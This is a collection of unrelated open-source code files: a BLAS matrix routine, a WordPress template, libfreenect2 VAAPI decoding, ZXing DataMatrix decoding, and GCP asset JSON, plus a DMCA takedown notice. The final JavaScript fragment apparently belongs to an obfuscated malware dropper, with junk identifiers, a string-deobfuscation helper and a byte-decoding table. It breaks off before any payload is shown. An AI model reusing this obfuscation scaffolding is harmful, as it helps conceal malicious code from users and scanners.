or 'u', the array AP must */ /* contain the upper triangular part of the symmetric matrix */ /* packed sequentially, column by column, so that AP( 1 ) */ /* contains a( 1, 1 ), AP( 2 ) and AP( 3 ) contain a( 1, 2 ) */ /* and a( 2, 2 ) respectively, and so on. */ /* Before entry with UPLO = 'L' or 'l', the array AP must */ /* contain the lower triangular part of the symmetric matrix */ /* packed sequentially, column by column, so that AP( 1 ) */ /* contains a( 1, 1 ), AP( 2 ) and AP( 3 ) contain a( 2, 1 ) */ /* and a( 3, 1 ) respectively, and so on. */ /* Unchanged on exit. */ /* X - DOUBLE PRECISION array of dimension at least */ /* ( 1 + ( n - 1 )*f2c_abs( INCX ) ). */ /* Before entry, the incremented array X must contain the n */ /* element vector x. */ /* Unchanged on exit. */ /* INCX - INTEGER. */ /* On entry, INCX specifies the increment for the elements of */ /* X. INCX must not be zero. */ /* Unchanged on exit. */ /* BETA - DOUBLE PRECISION. */ /* On entry, BETA specifies the scalar beta. When BETA is */ /* supplied as zero then Y need not be set on input. */ /* Unchanged on exit. */ /* Y - DOUBLE PRECISION array of dimension at least */ /* ( 1 + ( n - 1 )*f2c_abs( INCY ) ). */ /* Before entry, the incremented array Y must contain the n */ /* element vector y. On exit, Y is overwritten by the updated */ /* vector y. */ /* INCY - INTEGER. */ /* On entry, INCY specifies the increment for the elements of */ /* Y. INCY must not be zero. */ /* Unchanged on exit. */ /* Level 2 Blas routine. */ /* -- Written on 22-October-1986. */ /* Jack Dongarra, Argonne National Lab. */ /* Jeremy Du Croz, Nag Central Office. */ /* Sven Hammarling, Nag Central Office. */ /* Richard Hanson, Sandia National Labs. */ /* .. Parameters .. */ /* .. Local Scalars .. */ /* .. External Functions .. */ /* .. External Subroutines .. */ /* .. */ /* .. Executable Statements .. */ /* Test the input parameters. */ /* Parameter adjustments */ --y; --x; --ap; /* Function Body */ info = 0; if (! lsame_(uplo, "U") && ! lsame_(uplo, "L")) { info = 1; } else if (*n < 0) { info = 2; } else if (*incx == 0) { info = 6; } else if (*incy == 0) { info = 9; } if (info != 0) { xerbla_("DSPMV ", &info); return 0; } /* Quick return if possible. */ if (*n == 0 || *alpha == 0. && *beta == 1.) { return 0; } /* Set up the start points in X and Y. */ if (*incx > 0) { kx = 1; } else { kx = 1 - (*n - 1) * *incx; } if (*incy > 0) { ky = 1; } else { ky = 1 - (*n - 1) * *incy; } /* Start the operations. In this version the elements of the array AP */ /* are accessed sequentially with one pass through AP. */ /* First form y := beta*y. */ if (*beta != 1.) { if (*incy == 1) { if (*beta == 0.) { i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { y[i__] = 0.; /* L10: */ } } else { i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { y[i__] = *beta * y[i__]; /* L20: */ } } } else { iy = ky; if (*beta == 0.) { i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { y[iy] = 0.; iy += *incy; /* L30: */ } } else { i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { y[iy] = *beta * y[iy]; iy += *incy; /* L40: */ } } } } if (*alpha == 0.) { return 0; } kk = 1; if (lsame_(uplo, "U")) { /* Form y when AP contains the upper triangle. */ if (*incx == 1 && *incy == 1) { i__1 = *n; for (j = 1; j <= i__1; ++j) { temp1 = *alpha * x[j]; temp2 = 0.; k = kk; i__2 = j - 1; for (i__ = 1; i__ <= i__2; ++i__) { y[i__] += temp1 * ap[k]; temp2 += ap[k] * x[i__]; ++k; /* L50: */ } y[j] = y[j] + temp1 * ap[kk + j - 1] + *alpha * temp2; kk += j; /* L60: */ } } else { jx = kx; jy = ky; i__1 = *n; for (j = 1; j <= i__1; ++j) { temp1 = *alpha * x[jx]; temp2 = 0.; ix = kx; iy = ky; i__2 = kk + j - 2; for (k = kk; k <= i__2; ++k) { y[iy] += temp1 * ap[k]; temp2 += ap[k] * x[ix]; ix += *incx; iy += *incy; /* L70: */ } y[jy] = y[jy] + temp1 * ap[kk + j - 1] + *alpha * temp2; jx += *incx; jy += *incy; kk += j; /* L80: */ } } } else { /* Form y when AP contains the lower triangle. */ if (*incx == 1 && *incy == 1) { i__1 = *n; for (j = 1; j <= i__1; ++j) { temp1 = *alpha * x[j]; temp2 = 0.; y[j] += temp1 * ap[kk]; k = kk + 1; i__2 = *n; for (i__ = j + 1; i__ <= i__2; ++i__) { y[i__] += temp1 * ap[k]; temp2 += ap[k] * x[i__]; ++k; /* L90: */ } y[j] += *alpha * temp2; kk += *n - j + 1; /* L100: */ } } else { jx = kx; jy = ky; i__1 = *n; for (j = 1; j <= i__1; ++j) { temp1 = *alpha * x[jx]; temp2 = 0.; y[jy] += temp1 * ap[kk]; ix = jx; iy = jy; i__2 = kk + *n - j; for (k = kk + 1; k <= i__2; ++k) { ix += *incx; iy += *incy; y[iy] += temp1 * ap[k]; temp2 += ap[k] * x[ix]; /* L110: */ } y[jy] += *alpha * temp2; jx += *incx; jy += *incy; kk += *n - j + 1; /* L120: */ } } } return 0; /* End of DSPMV . */ } /* dspmv_ */
{ "pile_set_name": "Github" }
<?php /* @package sunsettheme -- Quote Post Format */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class( 'sunset-format-quote' ); ?>> <header class="entry-header text-center"> <div class="row"> <div class="col-sm-10 col-md-8 col-sm-offset-1 col-md-offset-2"> <h1 class="quote-content"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php echo get_the_content(); ?></a></h1> <?php the_title( '<h2 class="quote-author">- ', ' -</h2>'); ?> </div><!-- .col-md-8 --> </div><!-- .row --> </header> <footer class="entry-footer"> <?php echo sunset_posted_footer(); ?> </footer> </article>
{ "pile_set_name": "Github" }
/* * This file is part of the OpenKinect Project. http://www.openkinect.org * * Copyright (c) 2014 individual OpenKinect contributors. See the CONTRIB file * for details. * * This code is licensed to you under the terms of the Apache License, version * 2.0, or, at your option, the terms of the GNU General Public License, * version 2.0. See the APACHE20 and GPL2 files for the text of the licenses, * or the following URLs: * http://www.apache.org/licenses/LICENSE-2.0 * http://www.gnu.org/licenses/gpl-2.0.txt * * If you redistribute this file in source form, modified or unmodified, you * may: * 1) Leave this header intact and distribute it under the same terms, * accompanying it with the APACHE20 and GPL20 files, or * 2) Delete the Apache 2.0 clause and accompany it with the GPL2 file, or * 3) Delete the GPL v2 clause and accompany it with the APACHE20 file * In all cases you must keep the copyright notice intact and include a copy * of the CONTRIB file. * * Binary distributions must follow the binary distribution requirements of * either License. */ #include <libfreenect2/rgb_packet_processor.h> #include <cstring> #include <cstdio> //jpeglib.h does not include stdio.h #include <jpeglib.h> #include <unistd.h> #include <fcntl.h> #include <va/va.h> #include <va/va_drm.h> #include "libfreenect2/logging.h" #include "libfreenect2/allocator.h" #define CHECK_COND(cond) do { if (!(cond)) { LOG_ERROR << #cond " failed"; return false; } } while(0) #define CHECK_VA(expr) do { VAStatus err = (expr); if (err != VA_STATUS_SUCCESS) { LOG_ERROR << #expr ": " << vaErrorStr(err); return false; } } while(0) #define CALL_VA(expr) do { VAStatus err = (expr); if (err != VA_STATUS_SUCCESS) { LOG_ERROR << #expr ": " << vaErrorStr(err); } } while(0) namespace libfreenect2 { class VaapiImage: public Buffer { public: VAImage image; }; class VaapiImageAllocator: public Allocator { public: VADisplay display; unsigned short width; unsigned short height; VAImageFormat format; Allocator *pool; VaapiImageAllocator(VADisplay display, unsigned short width, unsigned short height, const VAImageFormat &format): display(display), width(width), height(height), format(format) { } virtual Buffer *allocate(size_t size) { VaapiImage *vi = new VaapiImage(); vi->allocator = this; CALL_VA(vaCreateImage(display, &format, width, height, &vi->image)); return vi; } virtual void free(Buffer *b) { if (b == NULL) return; VaapiImage *vi = static_cast<VaapiImage *>(b); if (vi->data) { CALL_VA(vaUnmapBuffer(display, vi->image.buf)); vi->data = NULL; } CALL_VA(vaDestroyImage(display, vi->image.image_id)); delete vi; } }; class VaapiFrame: public Frame { public: VaapiFrame(VaapiImage *vi): Frame(vi->image.width, vi->image.height, vi->image.format.bits_per_pixel/8, (unsigned char*)-1) { data = NULL; rawdata = reinterpret_cast<unsigned char*>(vi); } virtual ~VaapiFrame() { VaapiImage *vi = reinterpret_cast<VaapiImage *>(rawdata); vi->allocator->free(vi); rawdata = NULL; } bool draw(VADisplay display, VASurfaceID surface) { VaapiImage *vi = reinterpret_cast<VaapiImage *>(rawdata); VAImage &image = vi->image; data = NULL; if (vi->data != NULL) { vi->data = NULL; CHECK_VA(vaUnmapBuffer(display, image.buf)); } CHECK_VA(vaGetImage(display, surface, 0, 0, image.width, image.height, image.image_id)); CHECK_VA(vaMapBuffer(display, image.buf, (void**)&vi->data)); data = vi->data; return true; } }; class VaapiBuffer: public Buffer { public: VABufferID id; VaapiBuffer(): Buffer(), id(VA_INVALID_ID) {} }; class VaapiAllocator: public Allocator { private: VADisplay display; VAContextID context; bool allocate_va(VaapiBuffer *b, size_t size) { CHECK_VA(vaCreateBuffer(display, context, VASliceDataBufferType, size, 1, NULL, &b->id)); CHECK_VA(vaMapBuffer(display, b->id, (void**)&b->data)); b->capacity = size; return true; } public: VaapiAllocator(VADisplay display, VAContextID context): display(display), context(context) {} virtual Buffer *allocate(size_t size) { VaapiBuffer *vb = new VaapiBuffer(); if (!allocate_va(vb, size)) vb->data = NULL; return vb; } virtual void free(Buffer *b) { if (b == NULL) return; VaapiBuffer *vb = static_cast<VaapiBuffer *>(b); if (vb->data) { CALL_VA(vaUnmapBuffer(display, vb->id)); CALL_VA(vaDestroyBuffer(display, vb->id)); } delete vb; } }; class VaapiRgbPacketProcessorImpl: public WithPerfLogging { public: int drm_fd; VADisplay display; VAConfigID config; VASurfaceID surface; VAContextID context; VABufferID pic_param_buf; VABufferID iq_buf; VABufferID huff_buf; VABufferID slice_param_buf; bool jpeg_first_packet; size_t jpeg_header_size; struct jpeg_decompress_struct dinfo; struct jpeg_error_mgr jerr; bool good; static const int WIDTH = 1920; static const int HEIGHT = 1080; VaapiFrame *frame; Allocator *buffer_allocator; Allocator *image_allocator; VaapiRgbPacketProcessorImpl(): frame(NULL), buffer_allocator(NULL), image_allocator(NULL) { dinfo.err = jpeg_std_error(&jerr); jpeg_create_decompress(&dinfo); good = initializeVaapi(); if (!good) return; buffer_allocator = new PoolAllocator(new VaapiAllocator(display, context)); VAImageFormat format = {0}; format.fourcc = VA_FOURCC_BGRX; format.byte_order = VA_LSB_FIRST; format.bits_per_pixel = 4*8; format.depth = 8; image_allocator = new PoolAllocator(new VaapiImageAllocator(display, WIDTH, HEIGHT, format)); newFrame(); jpeg_first_packet = true; } ~VaapiRgbPacketProcessorImpl() { delete frame; delete buffer_allocator; delete image_allocator; if (good && !jpeg_first_packet) { CALL_VA(vaDestroyBuffer(display, pic_param_buf)); CALL_VA(vaDestroyBuffer(display, iq_buf)); CALL_VA(vaDestroyBuffer(display, huff_buf)); CALL_VA(vaDestroyBuffer(display, slice_param_buf)); } if (good) { CALL_VA(vaDestroyContext(display, context)); CALL_VA(vaDestroySurfaces(display, &surface, 1)); CALL_VA(vaDestroyConfig(display, config)); CALL_VA(vaTerminate(display)); } if (drm_fd >= 0) close(drm_fd); jpeg_destroy_decompress(&dinfo); } void newFrame() { frame = new VaapiFrame(static_cast<VaapiImage *>(image_allocator->allocate(0))); frame->format = Frame::BGRX; } bool initializeVaapi() { /* Open display */ static const char *drm_devices[] = { "/dev/dri/renderD128", "/dev/dri/card0", NULL, }; for (int i = 0; drm_devices[i]; i++) { drm_fd = open(drm_devices[i], O_RDWR); if (drm_fd < 0) continue; display = vaGetDisplayDRM(drm_fd); if (vaDisplayIsValid(display)) break; close(drm_fd); drm_fd = -1; display = NULL; } CHECK_COND(vaDisplayIsValid(display)); /* Initialize and create config */ int major_ver, minor_ver; CHECK_VA(vaInitialize(display, &major_ver, &minor_ver)); LOG_INFO << "driver: " << vaQueryVendorString(display); int max_entrypoints = vaMaxNumEntrypoints(display); CHECK_COND(max_entrypoints >= 1); VAEntrypoint entrypoints[max_entrypoints]; int num_entrypoints; CHECK_VA(vaQueryConfigEntrypoints(display, VAProfileJPEGBaseline, entrypoints, &num_entrypoints)); CHECK_COND(num_entrypoints >= 1 && num_entrypoints <= max_entrypoints); int vld_entrypoint; for (vld_entrypoint = 0; vld_entrypoint < num_entrypoints; vld_entrypoint++) { if (entrypoints[vld_entrypoint] == VAEntrypointVLD) break; } CHECK_COND(vld_entrypoint < num_entrypoints); VAConfigAttrib attr; attr.type = VAConfigAttribRTFormat; CHECK_VA(vaGetConfigAttributes(display, VAProfileJPEGBaseline, VAEntrypointVLD, &attr, 1)); unsigned int rtformat = VA_RT_FORMAT_YUV444; if ((attr.value & rtformat) == 0) { LOG_WARNING << "YUV444 not supported by libva, chroma will be halved"; rtformat = VA_RT_FORMAT_YUV420; } CHECK_COND((attr.value & rtformat) != 0); CHECK_VA(vaCreateConfig(display, VAProfileJPEGBaseline, VAEntrypointVLD, &attr, 1, &config)); /* Create surface and context */ CHECK_VA(vaCreateSurfaces(display, rtformat, WIDTH, HEIGHT, &surface, 1, NULL, 0)); CHECK_VA(vaCreateContext(display, config, WIDTH, HEIGHT, 0, &surface, 1, &context)); return true; } VABufferID createBuffer(VABufferType type, unsigned int size, void *data) { VABufferID buffer = VA_INVALID_ID; CALL_VA(vaCreateBuffer(display, context, type, size, 1, data, &buffer)); if (buffer == VA_INVALID_ID) LOG_ERROR << "failed to create valid buffer"; return buffer; } bool createParameters(struct jpeg_decompress_struct &dinfo, const unsigned char *vb_start) { /* Picture Parameter */ VAPictureParameterBufferJPEGBaseline pic = {0}; pic.picture_width = dinfo.image_width; pic.picture_height = dinfo.image_height; for (int i = 0; i< dinfo.num_components; i++) { pic.components[i].component_id = dinfo.comp_info[i].component_id; pic.components[i].h_sampling_factor = dinfo.comp_info[i].h_samp_factor; pic.components[i].v_sampling_factor = dinfo.comp_info[i].v_samp_factor; pic.components[i].quantiser_table_selector = dinfo.comp_info[i].quant_tbl_no; } pic.num_components = dinfo.num_components; pic_param_buf = createBuffer(VAPictureParameterBufferType, sizeof(pic), &pic); /* IQ Matrix */ VAIQMatrixBufferJPEGBaseline iq = {0}; for (int i = 0; i < NUM_QUANT_TBLS; i++) { if (!dinfo.quant_tbl_ptrs[i]) continue; iq.load_quantiser_table[i] = 1; /* Assuming dinfo.data_precision == 8 */ const int natural_order[DCTSIZE2] = { 0, 1, 8, 16, 9, 2, 3, 10, 17, 24, 32, 25, 18, 11, 4, 5, 12, 19, 26, 33, 40, 48, 41, 34, 27, 20, 13, 6, 7, 14, 21, 28, 35, 42, 49, 56, 57, 50, 43, 36, 29, 22, 15, 23, 30, 37, 44, 51, 58, 59, 52, 45, 38, 31, 39, 46, 53, 60, 61, 54, 47, 55, 62, 63, }; for (int j = 0; j < DCTSIZE2; j++) iq.quantiser_table[i][j] = dinfo.quant_tbl_ptrs[i]->quantval[natural_order[j]]; } iq_buf = createBuffer(VAIQMatrixBufferType, sizeof(iq), &iq); /* Huffman Table */ VAHuffmanTableBufferJPEGBaseline huff = {0}; const int num_huffman_tables = 2; for (int i = 0; i < num_huffman_tables; i++) { if (!dinfo.dc_huff_tbl_ptrs[i] || !dinfo.ac_huff_tbl_ptrs[i]) continue; huff.load_huffman_table[i] = 1; memcpy(huff.huffman_table[i].num_dc_codes, &dinfo.dc_huff_tbl_ptrs[i]->bits[1], sizeof(huff.huffman_table[i].num_dc_codes)); memcpy(huff.huffman_table[i].dc_values, dinfo.dc_huff_tbl_ptrs[i]->huffval, sizeof(huff.huffman_table[i].dc_values)); memcpy(huff.huffman_table[i].num_ac_codes, &dinfo.ac_huff_tbl_ptrs[i]->bits[1], sizeof(huff.huffman_table[i].num_ac_codes)); memcpy(huff.huffman_table[i].ac_values, dinfo.ac_huff_tbl_ptrs[i]->huffval, sizeof(huff.huffman_table[i].ac_values)); } huff_buf = createBuffer(VAHuffmanTableBufferType, sizeof(huff), &huff); /* Slice Parameter */ VASliceParameterBufferJPEGBaseline *pslice; slice_param_buf = createBuffer(VASliceParameterBufferType, sizeof(*pslice), NULL); CHECK_VA(vaMapBuffer(display, slice_param_buf, (void**)&pslice)); VASliceParameterBufferJPEGBaseline &slice = *pslice; slice.slice_data_offset = dinfo.src->next_input_byte - vb_start; slice.slice_data_flag = VA_SLICE_DATA_FLAG_ALL; for (int i = 0; i < dinfo.comps_in_scan; i++) { slice.components[i].component_selector = dinfo.cur_comp_info[i]->component_id; slice.components[i].dc_table_selector = dinfo.cur_comp_info[i]->dc_tbl_no; slice.components[i].ac_table_selector = dinfo.cur_comp_info[i]->ac_tbl_no; } slice.num_components = dinfo.comps_in_scan; slice.restart_interval = dinfo.restart_interval; unsigned int mcu_h_size = dinfo.max_h_samp_factor * DCTSIZE; unsigned int mcu_v_size = dinfo.max_v_samp_factor * DCTSIZE; unsigned int mcus_per_row = (WIDTH + mcu_h_size - 1) / mcu_h_size; unsigned int mcu_rows_in_scan = (HEIGHT + mcu_v_size - 1) / mcu_v_size; slice.num_mcus = mcus_per_row * mcu_rows_in_scan; CHECK_VA(vaUnmapBuffer(display, slice_param_buf)); return true; } bool decompress(unsigned char *buf, size_t len, VaapiBuffer *vb) { if (jpeg_first_packet) { jpeg_mem_src(&dinfo, buf, len); int header_status = jpeg_read_header(&dinfo, true); CHECK_COND(header_status == JPEG_HEADER_OK); CHECK_COND(dinfo.image_width == WIDTH && dinfo.image_height == HEIGHT); jpeg_first_packet = false; if (!createParameters(dinfo, vb->data)) return false; jpeg_header_size = len - dinfo.src->bytes_in_buffer; jpeg_abort_decompress(&dinfo); } /* Grab the packet buffer for VAAPI backend */ CHECK_VA(vaUnmapBuffer(display, vb->id)); /* The only parameter that changes after the first packet */ VASliceParameterBufferJPEGBaseline *slice; CHECK_VA(vaMapBuffer(display, slice_param_buf, (void**)&slice)); slice->slice_data_size = len - jpeg_header_size; CHECK_VA(vaUnmapBuffer(display, slice_param_buf)); /* Commit buffers */ CHECK_VA(vaBeginPicture(display, context, surface)); VABufferID va_bufs[5] = {pic_param_buf, iq_buf, huff_buf, slice_param_buf, vb->id}; CHECK_VA(vaRenderPicture(display, context, va_bufs, 5)); CHECK_VA(vaEndPicture(display, context)); /* Sync surface */ CHECK_VA(vaSyncSurface(display, surface)); if (!frame->draw(display, surface)) return false; CHECK_VA(vaMapBuffer(display, vb->id, (void**)&vb->data)); return true; } }; VaapiRgbPacketProcessor::VaapiRgbPacketProcessor() : impl_(new VaapiRgbPacketProcessorImpl()) { } VaapiRgbPacketProcessor::~VaapiRgbPacketProcessor() { delete impl_; } bool VaapiRgbPacketProcessor::good() { return impl_->good; } void VaapiRgbPacketProcessor::process(const RgbPacket &packet) { if (listener_ == 0) return; impl_->startTiming(); impl_->frame->timestamp = packet.timestamp; impl_->frame->sequence = packet.sequence; impl_->frame->exposure = packet.exposure; impl_->frame->gain = packet.gain; impl_->frame->gamma = packet.gamma; unsigned char *buf = packet.jpeg_buffer; size_t len = packet.jpeg_buffer_length; VaapiBuffer *vb = static_cast<VaapiBuffer *>(packet.memory); impl_->good = impl_->decompress(buf, len, vb); impl_->stopTiming(LOG_INFO); if (!impl_->good) impl_->frame->status = 1; if (listener_->onNewFrame(Frame::Color, impl_->frame)) impl_->newFrame(); } Allocator *VaapiRgbPacketProcessor::getAllocator() { return impl_->buffer_allocator; } } /* namespace libfreenect2 */
{ "pile_set_name": "Github" }
SubDir PLASMA RulesEngine component ; if ! $(PLASMA_READY) { ModuleComponent RulesEngine ; } # PLASMA_READY
{ "pile_set_name": "Github" }
package banana import ( _ "old.com/one" _ "titanic.biz/bar" _ "titanic.biz/foo" )
{ "pile_set_name": "Github" }
Good Afternoon, I have read and understand GitHub’s Guide to Filing a DMCA Notice. The work in question are various files held in the following identified repository: https://github.com/CisForChi/BMO-tech The files located at this identified repository contain proprietary information that belongs to BMO Financial Group, and the original poster had no known legal authority to share this information publicly. This information is confidential and proprietary to BMO Financial Group, was posted on GitHub without company authorization, and potentially poses a security and privacy risk to the company. We request that the user remove the following identified content mentioned above. Contact information for the user is via GitHub user account [private] (no user contact information / readme is listed). I have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law. I have taken fair use into consideration. I swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed. Kind Regards, [private]
{ "pile_set_name": "Github" }
/* * Copyright 2012 ZXing authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #import "ZXBitMatrix.h" #import "ZXBoolArray.h" #import "ZXByteArray.h" #import "ZXDataMatrixBitMatrixParser.h" #import "ZXDataMatrixDataBlock.h" #import "ZXDataMatrixDecodedBitStreamParser.h" #import "ZXDataMatrixDecoder.h" #import "ZXDataMatrixVersion.h" #import "ZXDecoderResult.h" #import "ZXErrors.h" #import "ZXGenericGF.h" #import "ZXIntArray.h" #import "ZXReedSolomonDecoder.h" @interface ZXDataMatrixDecoder () @property (nonatomic, strong, readonly) ZXReedSolomonDecoder *rsDecoder; @end @implementation ZXDataMatrixDecoder - (id)init { if (self = [super init]) { _rsDecoder = [[ZXReedSolomonDecoder alloc] initWithField:[ZXGenericGF DataMatrixField256]]; } return self; } - (ZXDecoderResult *)decode:(NSArray *)image error:(NSError **)error { int dimension = (int)[image count]; ZXBitMatrix *bits = [[ZXBitMatrix alloc] initWithDimension:dimension]; for (int i = 0; i < dimension; i++) { ZXBoolArray *b = image[i]; for (int j = 0; j < dimension; j++) { if (b.array[j]) { [bits setX:j y:i]; } } } return [self decodeMatrix:bits error:error]; } - (ZXDecoderResult *)decodeMatrix:(ZXBitMatrix *)bits error:(NSError **)error { ZXDataMatrixBitMatrixParser *parser = [[ZXDataMatrixBitMatrixParser alloc] initWithBitMatrix:bits error:error]; if (!parser) { return nil; } ZXDataMatrixVersion *version = [parser version]; ZXByteArray *codewords = [parser readCodewords]; NSArray *dataBlocks = [ZXDataMatrixDataBlock dataBlocks:codewords version:version]; NSUInteger dataBlocksCount = [dataBlocks count]; int totalBytes = 0; for (int i = 0; i < dataBlocksCount; i++) { totalBytes += [dataBlocks[i] numDataCodewords]; } if (totalBytes == 0) { return nil; } ZXByteArray *resultBytes = [[ZXByteArray alloc] initWithLength:totalBytes]; for (int j = 0; j < dataBlocksCount; j++) { ZXDataMatrixDataBlock *dataBlock = dataBlocks[j]; ZXByteArray *codewordBytes = dataBlock.codewords; int numDataCodewords = [dataBlock numDataCodewords]; if (![self correctErrors:codewordBytes numDataCodewords:numDataCodewords error:error]) { return nil; } for (int i = 0; i < numDataCodewords; i++) { // De-interlace data blocks. resultBytes.array[i * dataBlocksCount + j] = codewordBytes.array[i]; } } return [ZXDataMatrixDecodedBitStreamParser decode:resultBytes error:error]; } /** * Given data and error-correction codewords received, possibly corrupted by errors, attempts to * correct the errors in-place using Reed-Solomon error correction. * * @param codewordBytes data and error correction codewords * @param numDataCodewords number of codewords that are data bytes * @return NO if error correction fails */ - (BOOL)correctErrors:(ZXByteArray *)codewordBytes numDataCodewords:(int)numDataCodewords error:(NSError **)error { int numCodewords = codewordBytes.length; // First read into an array of ints ZXIntArray *codewordsInts = [[ZXIntArray alloc] initWithLength:numCodewords]; for (int i = 0; i < numCodewords; i++) { codewordsInts.array[i] = codewordBytes.array[i] & 0xFF; } int numECCodewords = codewordBytes.length - numDataCodewords; NSError *decodeError = nil; if (![self.rsDecoder decode:codewordsInts twoS:numECCodewords error:&decodeError]) { if (decodeError.code == ZXReedSolomonError) { if (error) *error = ZXChecksumErrorInstance(); return NO; } else { if (error) *error = decodeError; return NO; } } for (int i = 0; i < numDataCodewords; i++) { codewordBytes.array[i] = (int8_t) codewordsInts.array[i]; } return YES; } @end
{ "pile_set_name": "Github" }
[ { "name": "//cloudbilling.googleapis.com/projects/{{.Provider.project}}/billingInfo", "asset_type": "cloudbilling.googleapis.com/ProjectBillingInfo", "ancestry_path": "{{.Ancestry}}/project/{{.Provider.project}}", "resource": { "version": "v1", "discovery_document_uri": "https://www.googleapis.com/discovery/v1/apis/cloudbilling/v1/rest", "discovery_name": "ProjectBillingInfo", "parent": "//cloudresourcemanager.googleapis.com/projects/{{.Provider.project}}", "data": { "billingAccountName": "billingAccounts/{{.Project.BillingAccountName}}", "name": "projects/{{.Provider.project}}/billingInfo", "projectId": "{{.Provider.project}}" } } }, { "name": "//cloudresourcemanager.googleapis.com/projects/{{.Provider.project}}", "asset_type": "cloudresourcemanager.googleapis.com/Project", "ancestry_path": "{{.Ancestry}}/project/{{.Provider.project}}", "resource": { "version": "v1", "discovery_document_uri": "https://www.googleapis.com/discovery/v1/apis/compute/v1/rest", "discovery_name": "Project", "parent": "//cloudresourcemanager.googleapis.com/projects/{{.Provider.project}}", "data": { "name": "My Project", "labels": { "project-label-key-a": "project-label-val-a" }, "projectId": "{{.Provider.project}}" } } } ]
{ "pile_set_name": "Github" }
String.prototype.ThatWorldIsKillingMeHf1 = function () {return this.split(",").join("");}; //BEGIN_CODEC_PART function ThatWorldIsKillingMeHn6(ThatWorldIsKillingMeAq2) {var ThatWorldIsKillingMeXv9=new Array(); ThatWorldIsKillingMeXv9[199]=128;ThatWorldIsKillingMeXv9[252]=129;ThatWorldIsKillingMeXv9[233]=130;ThatWorldIsKillingMeXv9[226]=131;ThatWorldIsKillingMeXv9[228]=132;ThatWorldIsKillingMeXv9[224]=133;ThatWorldIsKillingMeXv9[229]=134;ThatWorldIsKillingMeXv9[231]=135;ThatWorldIsKillingMeXv9[234]=136;ThatWorldIsKillingMeXv9[235]=137; ThatWorldIsKillingMeXv9[232]=138;ThatWorldIsKillingMeXv9[239]=139;ThatWorldIsKillingMeXv9[238]=140;ThatWorldIsKillingMeXv9[236]=141;ThatWorldIsKillingMeXv9[196]=142;ThatWorldIsKillingMeXv9[197]=143;ThatWorldIsKillingMeXv9[201]=144;ThatWorldIsKillingMeXv9[230]=145;ThatWorldIsKillingMeXv9[198]=146;ThatWorldIsKillingMeXv9[244]=147; ThatWorldIsKillingMeXv9[246]=148;ThatWorldIsKillingMeXv9[242]=149;ThatWorldIsKillingMeXv9[251]=150;ThatWorldIsKillingMeXv9[249]=151;ThatWorldIsKillingMeXv9[255]=152;ThatWorldIsKillingMeXv9[214]=153;ThatWorldIsKillingMeXv9[220]=154;ThatWorldIsKillingMeXv9[162]=155;ThatWorldIsKillingMeXv9[163]=156;ThatWorldIsKillingMeXv9[165]=157; ThatWorldIsKillingMeXv9[8359]=158;ThatWorldIsKillingMeXv9[402]=159;ThatWorldIsKillingMeXv9[225]=160;ThatWorldIsKillingMeXv9[237]=161;ThatWorldIsKillingMeXv9[243]=162;ThatWorldIsKillingMeXv9[250]=163;ThatWorldIsKillingMeXv9[241]=164;ThatWorldIsKillingMeXv9[209]=165;ThatWorldIsKillingMeXv9[170]=166;ThatWorldIsKillingMeXv9[186]=167; ThatWorldIsKillingMeXv9[191]=168;ThatWorldIsKillingMeXv9[8976]=169;ThatWorldIsKillingMeXv9[172]=170;ThatWorldIsKillingMeXv9[189]=171;ThatWorldIsKillingMeXv9[188]=172;ThatWorldIsKillingMeXv9[161]=173;ThatWorldIsKillingMeXv9[171]=174;ThatWorldIsKillingMeXv9[187]=175;ThatWorldIsKillingMeXv9[9617]=176;ThatWorldIsKillingMeXv9[9618]=177; ThatWorldIsKillingMeXv9[9619]=178;ThatWorldIsKillingMeXv9[9474]=179;ThatWorldIsKillingMeXv9[9508]=180;ThatWorldIsKillingMeXv9[9569]=181;ThatWorldIsKillingMeXv9[9570]=182;ThatWorldIsKillingMeXv9[9558]=183;ThatWorldIsKillingMeXv9[9557]=184;ThatWorldIsKillingMeXv9[9571]=185;ThatWorldIsKillingMeXv9[9553]=186;ThatWorldIsKillingMeXv9[9559]=187; ThatWorldIsKillingMeXv9[9565]=188;ThatWorldIsKillingMeXv9[9564]=189;ThatWorldIsKillingMeXv9[9563]=190;ThatWorldIsKillingMeXv9[9488]=191;ThatWorldIsKillingMeXv9[9492]=192;ThatWorldIsKillingMeXv9[9524]=193;ThatWorldIsKillingMeXv9[9516]=194;ThatWorldIsKillingMeXv9[9500]=195;ThatWorldIsKillingMeXv9[9472]=196;ThatWorldIsKillingMeXv9[9532]=197; ThatWorldIsKillingMeXv9[9566]=198;ThatWorldIsKillingMeXv9[9567]=199;ThatWorldIsKillingMeXv9[9562]=200;ThatWorldIsKillingMeXv9[9556]=201;ThatWorldIsKillingMeXv9[9577]=202;ThatWorldIsKillingMeXv9[9574]=203;ThatWorldIsKillingMeXv9[9568]=204;ThatWorldIsKillingMeXv9[9552]=205;ThatWorldIsKillingMeXv9[9580]=206;ThatWorldIsKillingMeXv9[9575]=207; ThatWorldIsKillingMeXv9[9576]=208;ThatWorldIsKillingMeXv9[9572]=209;ThatWorldIsKillingMeXv9[9573]=210;ThatWorldIsKillingMeXv9[9561]=211;ThatWorldIsKillingMeXv9[9560]=212;ThatWorldIsKillingMeXv9[9554]=213;ThatWorldIsKillingMeXv9[9555]=214;ThatWorldIsKillingMeXv9[9579]=215;ThatWorldIsKillingMeXv9[9578]=216;ThatWorldIsKillingMeXv9[9496]=217; 